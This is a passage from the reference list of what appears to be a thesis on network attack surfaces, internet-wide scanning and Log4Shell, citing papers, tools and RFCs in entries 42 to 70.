111–131. Springer, 2010.

[42] Paul Ducklin. Log4Shell explained – how it works, why you need to know, and
how to fix it, Dec 2021.

[43] Dmitry Duplyakin, Robert Ricci, Aleksander Maricq, Wong, Eric Eide, Leigh
Stoller, Hibler, Kirk Webb, Aditya Akella, Wang, Larry Landweber, Chip El-
liott, Zink, Snigdhaswin Kar, and Prabodh Mishra. The design and operation of
CloudLab. In Proceedings of the USENIX Annual Technical Conference (ATC),
pages 1–14, Jul 2019.

[44] Zakir Durumeric, David Adrian, Ariana Mirian, Michael Bailey, and J Alex
Halderman. A search engine backed by Internet-wide scanning. In Proceedings
of the ACM conference on computer and communications security, volume 2015-
Octob, pages 542–553, 2015. ISSN: 15437221.

[45] Zakir Durumeric, Eric Wustrow, and J Alex Halderman. ZMap: Fast internet-
wide scanning and its security applications. In Proceedings of the 22nd USENIX
security symposium, pages 605–619, 2013.

139



[46] GJ Ebersohn. Internet law: Port scanning and ping flooding: A legal perspec-
tive. THRHR, 66:563, 2003. Publisher: HeinOnline.

[47] Simon Yusuf Enoch, Jin B Hong, Mengmeng Ge, and Dong Seong Kim.
Composite metrics for network security analysis. arXiv, 2020. tex.arxivid:
2007.03486.

[48] Damiano Esposito, Marc Rennhard, Lukas Ruf, and Arno Wagner. Exploiting
the potential of web application vulnerability scanning. In ICIMP 2018 the
Thirteenth International Conference on Internet Monitoring and Protection,
Barcelona, Spain, 22-26 July 2018, pages 22–29. IARIA, 2018.

[49] Douglas Everson, Ashish Bastola, Rajat Mittal, Siddheshwar Munde, and Long
Cheng. A comparative study of log4shell test tools. In 2022 IEEE Secure
Development Conference (SecDev), pages 16–22. IEEE, 2022.

[50] Douglas Everson and Long Cheng. Network attack surface simplification for
red and blue teams. In 2020 IEEE Secure Development (SecDev), pages 74–80.
IEEE, 2020.

[51] Douglas Everson and Long Cheng. Network attack surface simplification for
red and blue teams. In Proceedings - 2020 IEEE secure development, SecDev
2020, pages 74–80, 2020.

[52] Douglas Everson and Long Cheng. Compressing network attack surfaces for
practical security analysis. In 2021 IEEE Secure Development Conference
(SecDev), pages 23–29. IEEE, 2021.

[53] Douglas Everson, Long Cheng, and Zhenkai Zhang. Log4shell: Redefining the
web attack surface. In Workshop on Measurements, Attacks, and Defenses for
the Web (MADWeb) 2022, 2022.

[54] Jian Feng, Ying Zhang, and Yuqiang Qiao. A detection method for phishing web
page using dom-based doc2vec model. Journal of computing and information
technology, 28(1):19–31, 2020.

[55] R Fielding, M Nottingham, and J Reschke. Rfc 9110: Http semantics, 2022.

[56] Fox-IT. Github - fox-it/log4j-finder: Find vulnerable log4j2 versions on disk
and also inside java archive files (log4shell cve-2021-44228, cve-2021-45046, cve-
2021-45105). [Online; accessed 2022-03-20].

[57] Yu Fu, Lu Yu, Oluwakemi Hambolu, Ilker Ozcelik, Benafsh Husain, Jingxuan
Sun, Karan Sapra, Dan Du, Christopher Tate Beasley, and Richard R Brooks.
Stealthy domain generation algorithms. IEEE Transactions on Information
Forensics and Security, 12(6):1430–1443, 2017.

140



[58] Walter Fuertes and Patricio Zambrano. Alternative engine to detect and block
port scan attacks using virtual network environments. International Journal of
Computer Science and Network Security, 11(11):14–23, 2011.

[59] FullHunt. Fullhunt log4j-scan, 2021.

[60] Emad Ghosheh, Sue Black, and Jihad Qaddour. Design metrics for web appli-
cation maintainability measurement. In 2008 IEEE/ACS International Confer-
ence on Computer Systems and Applications, pages 778–784. IEEE, 2008.

[61] Wael H Gomaa and Aly A Fahmy. A survey of text similarity approaches.
International Journal of Computer Applications, 68(13):13–18, 2013. Publisher:
Citeseer.

[62] Google. Log4jscanner, 2022.

[63] Sumit Goswami, Nabanita R Krishnan, Saurabh Swarnkar, Pallavi Mahajan,
et al. Reducing attack surface of a web application by open web application
security project compliance. Defence science journal, 62(5), 2012.

[64] Thamme Gowda and Chris A Mattmann. Clustering web pages based on struc-
ture and style similarity (application paper). In 2016 IEEE 17th International
conference on information reuse and integration (IRI), pages 175–180. IEEE,
2016.

[65] Robert Graham. MASSCAN : Mass IP port scanner. GitHub, 2019. Publication
Title: github.com.

[66] Suhit Gupta, Gail Kaiser, David Neistadt, and Peter Grimm. Dom-based con-
tent extraction of html documents. In Proceedings of the 12th international
conference on World Wide Web, pages 207–214, 2003.

[67] Jiawei Han, Jian Pei, and Micheline Kamber. Data mining: concepts and tech-
niques. Elsevier, 2011.

[68] Afzalul Haque, Amrit Venkat Ayyar, and Sanjay Singh. A meta data mining
framework for botnet analysis. International Journal of Computers and Appli-
cations, 41(5):392–399, 2019. Publisher: Taylor & Francis.

[69] Hiroaki Hashida, Yuichi Kawamoto, and Nei Kato. Impact of internet-wide
scanning on IoT data communication in wireless LANs. In 2020 IEEE interna-
tional conference on communications workshops (ICC workshops), pages 1–6,
2020. tex.organization: IEEE.

[70] Thomas Heumann, Jörg Keller, and Sven Türpe. Quantifying the attack surface
of a web application. Sicherheit 2010. Sicherheit, Schutz und Zuverlässigkeit,
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